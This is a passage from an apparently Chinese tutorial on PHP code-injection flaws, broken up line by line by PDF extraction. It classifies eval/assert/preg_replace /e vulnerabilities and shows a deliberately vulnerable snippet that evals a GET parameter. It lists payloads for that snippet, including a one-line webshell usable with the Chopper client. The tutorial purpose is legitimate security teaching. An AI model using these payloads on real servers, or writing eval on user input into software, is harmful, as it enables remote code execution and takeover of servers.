background image
6
7
8
9
1
0
1
1
1
2
1
3
}
//当 $data 接受的字符串是这样时:
$data
= "
array
(
'upload_maxsize'
=>
'2048'
,
'upload_allowext'
=>
'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|p
ptx|pdf|txt|rar|zip|swf'
,
'watermark_enable'
==>
'1'
,
)"
//通过 eval()函数就可以将字符串‘array(....)’作为数组赋值给$array,这样会大
大的提升代码的灵活性和简洁性。
0x03 漏洞分类
eval()、assert()
(不常见)
preg_replace + /e 模式
0x04 漏洞利用(本地测试)
eval() ==>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#1:
<?php
$data
=
$_GET
[
'data'
];
eval
(
"\$ret = $data;"
);
echo
$ret
;
/*
payload:
?data=phpinfo()
?data=1;phpinfo()
?data=${phpinfo()}
?data=${@eval($_POST[x])}
#一句话木马,可以用菜刀连接
*/
?>
#2: